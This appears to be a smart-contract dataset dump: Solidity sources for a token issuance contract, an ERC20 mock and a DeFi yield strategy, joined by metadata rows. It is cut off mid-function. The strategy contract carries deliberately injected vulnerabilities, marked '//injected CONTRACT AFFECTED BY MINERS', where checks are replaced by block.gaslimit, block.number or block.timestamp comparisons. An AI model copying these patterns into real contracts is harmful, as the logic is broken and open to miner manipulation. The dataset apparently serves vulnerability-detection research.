emit StuckBalanceSent(contractBalance, marketingFeeReceiver);
}
function transferForeignToken(address _token) public onlyOwner {
uint256 _contractBalance = IBEP20(_token).balanceOf(address(this));
payable(marketingFeeReceiver).transfer(_contractBalance);
emit ForeignTokenTransfer(_token, _contractBalance);
}
}
| 74,930 | 10,635 |
a27c32c8b2cb6d8bba9b7a402ac00aff8bc2475b30b9400cd648275e3ea96da7
| 29,624 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/ae/ae5005a9e775d0324c208c6f19bec4c5cb72de7f_CommunityIssuance.sol
| 3,606 | 13,867 |
// File: contracts/Dependencies/IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/Dependencies/IERC2612.sol
interface IERC2612 {
function permit(address owner, address spender, uint256 amount,
uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
function nonces(address owner) external view returns (uint256);
function version() external view returns (string memory);
function permitTypeHash() external view returns (bytes32);
function domainSeparator() external view returns (bytes32);
}
// File: contracts/Interfaces/IToken.sol
interface IToken is IERC20, IERC2612 {
// --- Functions ---
function sendToTokenStaking(address _sender, uint256 _amount) external;
function getDeploymentStartTime() external view returns (uint256);
}
// File: contracts/Interfaces/ICommunityIssuance.sol
interface ICommunityIssuance {
// --- Events ---
event LQTYTokenAddressSet(address _lqtyTokenAddress);
event StabilityPoolAddressSet(address _stabilityPoolAddress);
event TotalLQTYIssuedUpdated(uint _totalLQTYIssued);
// --- Functions ---
function setAddresses(address _lqtyTokenAddress, address _stabilityPoolAddress, uint _LQTYSupplyCap) external;
function issueLQTY() external returns (uint);
function sendLQTY(address _account, uint _LQTYamount) external;
}
// File: contracts/Dependencies/BaseMath.sol
contract BaseMath {
uint constant public DECIMAL_PRECISION = 1e18;
}
// File: contracts/Dependencies/SafeMath.sol
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: contracts/Dependencies/LiquityMath.sol
library LiquityMath {
using SafeMath for uint;
uint internal constant DECIMAL_PRECISION = 1e18;
uint internal constant NICR_PRECISION = 1e20;
function _min(uint _a, uint _b) internal pure returns (uint) {
return (_a < _b) ? _a : _b;
}
function _max(uint _a, uint _b) internal pure returns (uint) {
return (_a >= _b) ? _a : _b;
}
function decMul(uint x, uint y) internal pure returns (uint decProd) {
uint prod_xy = x.mul(y);
decProd = prod_xy.add(DECIMAL_PRECISION / 2).div(DECIMAL_PRECISION);
}
function _decPow(uint _base, uint _minutes) internal pure returns (uint) {
if (_minutes > 525600000) {_minutes = 525600000;} // cap to avoid overflow
if (_minutes == 0) {return DECIMAL_PRECISION;}
uint y = DECIMAL_PRECISION;
uint x = _base;
uint n = _minutes;
// Exponentiation-by-squaring
while (n > 1) {
if (n % 2 == 0) {
x = decMul(x, x);
n = n.div(2);
} else { // if (n % 2 != 0)
y = decMul(x, y);
x = decMul(x, x);
n = (n.sub(1)).div(2);
}
}
return decMul(x, y);
}
function _getAbsoluteDifference(uint _a, uint _b) internal pure returns (uint) {
return (_a >= _b) ? _a.sub(_b) : _b.sub(_a);
}
function _computeNominalCR(uint _coll, uint _debt) internal pure returns (uint) {
if (_debt > 0) {
return _coll.mul(NICR_PRECISION).div(_debt);
}
// Return the maximal value for uint256 if the Trove has a debt of 0. Represents "infinite" CR.
else { // if (_debt == 0)
return 2**256 - 1;
}
}
function _computeCR(uint _coll, uint _debt, uint _price) internal pure returns (uint) {
if (_debt > 0) {
uint newCollRatio = _coll.mul(_price).div(_debt);
return newCollRatio;
}
// Return the maximal value for uint256 if the Trove has a debt of 0. Represents "infinite" CR.
else { // if (_debt == 0)
return 2**256 - 1;
}
}
}
// File: contracts/Dependencies/upgradeable/AddressUpgradeable.sol
library AddressUpgradeable {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: contracts/Dependencies/upgradeable/Initializable.sol
// solhint-disable-next-line compiler-version
abstract contract Initializable {
bool public initialized;
bool private _initializing;
modifier initializer() {
require(_initializing || _isConstructor() || !initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// File: contracts/protocol/CommunityIssuance.sol
contract CommunityIssuance is ICommunityIssuance, BaseMath, Initializable {
using SafeMath for uint;
// --- Data ---
string constant public NAME = "CommunityIssuance";
uint constant public SECONDS_IN_ONE_MINUTE = 60;
uint constant public ISSUANCE_FACTOR = 999999736245400000; // F of five year
uint public LQTYSupplyCap;
IToken public lqtyToken;
address public stabilityPoolAddress;
uint public totalLQTYIssued;
uint public deploymentTime;
uint public upgradeTime;
uint public issuedBeforeUpgrade;
uint public newSupplyCap;
// --- Events ---
event LQTYTokenAddressSet(address _lqtyTokenAddress);
event StabilityPoolAddressSet(address _stabilityPoolAddress);
event TotalLQTYIssuedUpdated(uint _totalLQTYIssued);
// --- Functions ---
function setAddresses
(address _lqtyTokenAddress,
address _stabilityPoolAddress,
uint _LQTYSupplyCap)
external
initializer
override
{
deploymentTime = block.timestamp;
LQTYSupplyCap = _LQTYSupplyCap;
lqtyToken = IToken(_lqtyTokenAddress);
stabilityPoolAddress = _stabilityPoolAddress;
emit LQTYTokenAddressSet(_lqtyTokenAddress);
emit StabilityPoolAddressSet(_stabilityPoolAddress);
}
function issueLQTY() external override returns (uint) {
_requireCallerIsStabilityPool();
uint latestTotalLQTYIssued;
if (upgradeTime == 0) {
latestTotalLQTYIssued = LQTYSupplyCap.mul(_getCumulativeIssuanceFraction(deploymentTime)).div(DECIMAL_PRECISION);
upgradeTime = block.timestamp;
issuedBeforeUpgrade = latestTotalLQTYIssued;
newSupplyCap = LQTYSupplyCap.sub(issuedBeforeUpgrade);
} else {
latestTotalLQTYIssued = newSupplyCap.mul(_getCumulativeIssuanceFraction(upgradeTime)).div(DECIMAL_PRECISION).add(issuedBeforeUpgrade);
}
uint issuance = latestTotalLQTYIssued.sub(totalLQTYIssued);
totalLQTYIssued = latestTotalLQTYIssued;
emit TotalLQTYIssuedUpdated(latestTotalLQTYIssued);
return issuance;
}
function _getCumulativeIssuanceFraction(uint startTime) internal view returns (uint) {
// Get the time passed since deployment
uint timePassedInMinutes = block.timestamp.sub(startTime).div(SECONDS_IN_ONE_MINUTE);
// f^t
uint power = LiquityMath._decPow(ISSUANCE_FACTOR, timePassedInMinutes);
// (1 - f^t)
uint cumulativeIssuanceFraction = (uint(DECIMAL_PRECISION).sub(power));
assert(cumulativeIssuanceFraction <= DECIMAL_PRECISION); // must be in range [0,1]
return cumulativeIssuanceFraction;
}
function sendLQTY(address _account, uint _LQTYamount) external override {
_requireCallerIsStabilityPool();
lqtyToken.transfer(_account, _LQTYamount);
}
// --- 'require' functions ---
function _requireCallerIsStabilityPool() internal view {
require(msg.sender == stabilityPoolAddress, "CommunityIssuance: caller is not SP");
}
}
| 76,239 | 10,636 |
c793a22ae9ce6fa5ae35f944f901ac439c35cc3b8f5cab47f7d30760b231a790
| 34,135 |
.sol
|
Solidity
| false |
635617544
|
0xblackskull/OpenZeppelin-Flattened
|
bef0a34f7a2402d302f91f7bccf2d2e153ebea6b
|
openzeppelin-contracts-upgradeable/mocks/ERC20CappedMockUpgradeable_flat.sol
| 3,292 | 13,869 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Capped.sol)
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
interface IERC20Upgradeable {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
interface IERC20MetadataUpgradeable is IERC20Upgradeable {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
// OpenZeppelin Contracts (last updated v4.7.0) (proxy/utils/Initializable.sol)
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)
library AddressUpgradeable {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(address target,
bool success,
bytes memory returndata,
string memory errorMessage) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
abstract contract Initializable {
uint8 private _initialized;
bool private _initializing;
event Initialized(uint8 version);
modifier initializer() {
bool isTopLevelCall = !_initializing;
require((isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),
"Initializable: contract is already initialized");
_initialized = 1;
if (isTopLevelCall) {
_initializing = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
emit Initialized(1);
}
}
modifier reinitializer(uint8 version) {
require(!_initializing && _initialized < version, "Initializable: contract is already initialized");
_initialized = version;
_initializing = true;
_;
_initializing = false;
emit Initialized(version);
}
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _disableInitializers() internal virtual {
require(!_initializing, "Initializable: contract is initializing");
if (_initialized < type(uint8).max) {
_initialized = type(uint8).max;
emit Initialized(type(uint8).max);
}
}
}
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
function __ERC20_init(string memory name_, string memory symbol_) internal onlyInitializing {
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from,
address to,
uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from,
address to,
uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// decrementing then incrementing.
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner,
address spender,
uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
uint256[45] private __gap;
}
abstract contract ERC20CappedUpgradeable is Initializable, ERC20Upgradeable {
uint256 private _cap;
function __ERC20Capped_init(uint256 cap_) internal onlyInitializing {
__ERC20Capped_init_unchained(cap_);
}
function __ERC20Capped_init_unchained(uint256 cap_) internal onlyInitializing {
require(cap_ > 0, "ERC20Capped: cap is 0");
_cap = cap_;
}
function cap() public view virtual returns (uint256) {
return _cap;
}
function _mint(address account, uint256 amount) internal virtual override {
require(ERC20Upgradeable.totalSupply() + amount <= cap(), "ERC20Capped: cap exceeded");
super._mint(account, amount);
}
uint256[50] private __gap;
}
contract ERC20CappedMockUpgradeable is Initializable, ERC20CappedUpgradeable {
function __ERC20CappedMock_init(string memory name,
string memory symbol,
uint256 cap) internal onlyInitializing {
__ERC20_init_unchained(name, symbol);
__ERC20Capped_init_unchained(cap);
}
function __ERC20CappedMock_init_unchained(string memory,
string memory,
uint256) internal onlyInitializing {}
function mint(address to, uint256 tokenId) public {
_mint(to, tokenId);
}
uint256[50] private __gap;
}
| 63,111 | 10,637 |
4bf6aebb0463256fc76e8fff784090eec263ef7f8e6d32d5b040d605d02cfeab
| 13,622 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/contractAffectedByMiners/0x1891e2217401e69a8c62b2ee65c347df02542223_affectedByMiners.sol
| 3,582 | 12,737 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function decimals() external view returns (uint);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (block.gaslimit > 0) { // Return data is optional //injected CONTRACT AFFECTED BY MINERS
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface Controller {
function vaults(address) external view returns (address);
}
interface Balancer {
function joinPool(uint,uint[] calldata) external;
function exitPool(uint,uint[] calldata) external;
}
interface MStable {
function mint(address, uint) external;
function redeem(address, uint) external;
}
contract StrategyBalancerMTA {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address constant public want = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
address constant public mUSD = address(0xe2f2a5C287993345a840Db3B0845fbC70f5935a5);
address constant public balancer = address(0x72Cd8f4504941Bf8c5a21d1Fd83A96499FD71d2C);
address public governance;
address public controller;
bool public breaker = false;
// Supply tracks the number of `want` that we have lent out of other distro's
uint public supply = 0;
constructor(address _controller) public {
governance = msg.sender;
controller = _controller;
}
function setBreaker(bool _breaker) public {
require(msg.sender == governance, "!governance");
breaker = _breaker;
}
function deposit() external {
require(breaker == false, "!breaker");
uint _balance = IERC20(want).balanceOf(address(this));
uint _usdc = _balance.div(2);
IERC20(want).safeApprove(mUSD, 0);
IERC20(want).safeApprove(mUSD, _usdc);
uint _before = _balance;
MStable(mUSD).mint(want,_usdc);
uint _after = IERC20(want).balanceOf(address(this));
supply = supply.add(_before.sub(_after));
uint _musd = IERC20(mUSD).balanceOf(address(this));
uint _total = IERC20(balancer).totalSupply();
uint _balancerMUSD = IERC20(mUSD).balanceOf(balancer);
uint _poolAmountMUSD = _musd.mul(_total).div(_balancerMUSD);
uint _balancerUSDC = IERC20(want).balanceOf(balancer);
uint _poolAmountUSDC = _usdc.mul(_total).div(_balancerUSDC);
uint _poolAmountOut = _poolAmountMUSD;
if (block.gaslimit < _poolAmountOut) { //injected CONTRACT AFFECTED BY MINERS
_poolAmountOut = _poolAmountUSDC;
}
IERC20(want).safeApprove(balancer, 0);
IERC20(want).safeApprove(balancer, _usdc);
IERC20(mUSD).safeApprove(balancer, 0);
IERC20(mUSD).safeApprove(balancer, _musd);
uint[] memory _maxAmountIn = new uint[](2);
_maxAmountIn[0] = _musd;
_maxAmountIn[1] = _usdc;
_before = IERC20(want).balanceOf(address(this));
Balancer(balancer).joinPool(_poolAmountOut, _maxAmountIn);
_after = IERC20(want).balanceOf(address(this));
supply = supply.add(_before.sub(_after));
}
// Controller only function for creating additional rewards from dust
function withdraw(IERC20 _asset) external returns (uint balance) {
require(msg.sender == controller, "!controller");
require(address(_asset) != want, "!c");
require(address(_asset) != mUSD, "!c");
require(address(_asset) != balancer, "!c");
balance = _asset.balanceOf(address(this));
_asset.safeTransfer(controller, balance);
}
// Withdraw partial funds, normally used with a vault withdrawal
function withdraw(uint _amount) external {
require(msg.sender == controller, "!controller");
uint _balance = IERC20(want).balanceOf(address(this));
if (block.gaslimit < _amount) { //injected CONTRACT AFFECTED BY MINERS
uint _withdrew = _withdrawSome(_amount.sub(_balance));
_amount = _withdrew.add(_balance);
}
address _vault = Controller(controller).vaults(want);
require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
IERC20(want).safeTransfer(_vault, _amount);
}
function redeem() external {
MStable(mUSD).redeem(want, normalize(IERC20(mUSD).balanceOf(address(this))));
}
// Withdraw all funds, normally used when migrating strategies
function withdrawAll() external returns (uint balance) {
require(msg.sender == controller, "!controller");
_withdrawAll();
balance = IERC20(want).balanceOf(address(this));
address _vault = Controller(controller).vaults(want);
require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
IERC20(want).safeTransfer(_vault, balance);
}
function _withdrawAll() internal {
uint _bpt = IERC20(balancer).balanceOf(address(this));
uint[] memory _minAmountOut = new uint[](2);
_minAmountOut[0] = 0;
_minAmountOut[1] = 0;
uint _before = IERC20(want).balanceOf(address(this));
Balancer(balancer).exitPool(_bpt, _minAmountOut);
uint _after = IERC20(want).balanceOf(address(this));
uint _diff = _after.sub(_before);
if (block.number > supply) { //injected CONTRACT AFFECTED BY MINERS
// Pool made too much profit, so we reset to 0 to avoid revert
supply = 0;
} else {
supply = supply.sub(_after.sub(_before));
}
uint _musd = IERC20(mUSD).balanceOf(address(this));
// This one is the exception because it assumes we can redeem 1 USDC
_diff = normalize(_musd);
if (block.timestamp > supply) { //injected CONTRACT AFFECTED BY MINERS
// Pool made too much profit, so we reset to 0 to avoid revert
supply = 0;
} else {
supply = supply.sub(_diff);
}
MStable(mUSD).redeem(want, normalize(_musd));
}
function _withdrawSome(uint256 _amount) internal returns (uint) {
uint _totalSupply = IERC20(balancer).totalSupply();
uint _redeem = _totalSupply.mul(_amount.div(2)).div(IERC20(want).balanceOf(balancer));
if (block.gaslimit > IERC20(balancer).balanceOf(address(this))) { //injected CONTRACT AFFECTED BY MINERS
_redeem = IERC20(balancer).balanceOf(address(this));
}
uint[] memory _minAmountOut = new uint[](2);
_minAmountOut[0] = 0;
_minAmountOut[1] = 0;
uint _before = IERC20(want).balanceOf(address(this));
uint _mBefore = IERC20(mUSD).balanceOf(address(this));
Balancer(balancer).exitPool(_redeem, _minAmountOut);
uint _mAfter = IERC20(mUSD).balanceOf(address(this));
uint _musd = _mAfter.sub(_mBefore);
uint _after = IERC20(want).balanceOf(address(this));
uint _withdrew = _after.sub(_before);
if (block.gaslimit > supply) { //injected CONTRACT AFFECTED BY MINERS
// Pool made too much profit, so we reset to 0 to avoid revert
supply = 0;
} else {
supply = supply.sub(_withdrew);
}
_before = IERC20(want).balanceOf(address(this));
if (block.number > supply) { //injected CONTRACT AFFECTED BY MINERS
// Pool made too much profit, so we reset to 0 to avoid revert
supply = 0;
} else {
supply = supply.sub(normalize(_musd));
}
MStable(mUSD).redeem(want, normalize(_musd));
_after = IERC20(want).balanceOf(address(this));
_withdrew = _withdrew.add(_after.sub(_before));
uint _fee = _amount.mul(5).div(10000);
_amount = _amount.sub(_fee);
if (block.gaslimit > _amount) { //injected CONTRACT AFFECTED BY MINERS
_withdrew = _amount;
}
return _withdrew;
}
function normalize(uint _amount) public view returns (uint) {
